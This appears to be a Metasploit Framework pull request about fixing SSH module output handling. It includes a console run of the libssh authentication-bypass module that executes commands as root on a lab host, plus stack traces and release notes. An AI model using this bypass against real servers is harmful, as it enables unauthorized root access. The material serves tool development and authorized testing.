Enable non-session command output for SSH modules

[wvu]

Looks like channel[:data] was initialized but never used.

The socket pair is closed on EOF from the command, which is why we couldn't read output outside a shell session.

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set action Execute
action => Execute
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > set cmd id; uname -a
cmd => id; uname -a
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > run

[*] 172.28.128.3:2222 - Attempting authentication bypass
[+] 172.28.128.3:2222 - SSH-2.0-libssh_0.8.3 appears to be unpatched
[*] 172.28.128.3:2222 - Executed: id; uname -a
uid=0(root) gid=0(root) groups=0(root)
Linux ubuntu-xenial 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/libssh_auth_bypass) >

#10820

[busterb]

Very nice, now sessions -K doesn't throw a nasty stracktrace either.

Before:

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -K
[*] Killing all sessions...
#<Thread:0x000055ec29db7890@/home/bcook/projects/metasploit-framework/lib/net/ssh/command_stream.rb:69 run> terminated with exception (report_on_exception is true):
Traceback (most recent call last):
	3: from /home/bcook/projects/metasploit-framework/lib/net/ssh/command_stream.rb:72:in `block (2 levels) in initialize'
	2: from /home/bcook/.rvm/gems/ruby-2.5.3@metasploit-framework/gems/rex-core-0.1.13/lib/rex/io/stream.rb:72:in `read'
	1: from /home/bcook/.rvm/rubies/ruby-2.5.3/lib/ruby/2.5.0/socket.rb:452:in `read_nonblock'
/home/bcook/.rvm/rubies/ruby-2.5.3/lib/ruby/2.5.0/socket.rb:452:in `__read_nonblock': Connection reset by peer (Errno::ECONNRESET)
[*] 127.0.0.1 - Command shell session 1 closed.

After:

msf5 auxiliary(scanner/ssh/libssh_auth_bypass) > sessions -K
[*] Killing all sessions...
[*] 127.0.0.1 - Command shell session 1 closed.

[busterb]

Release Notes

This fixes defects in SSH session types enabling data to be read from a SSH session while it is in the background, and issues with killing a session in the background.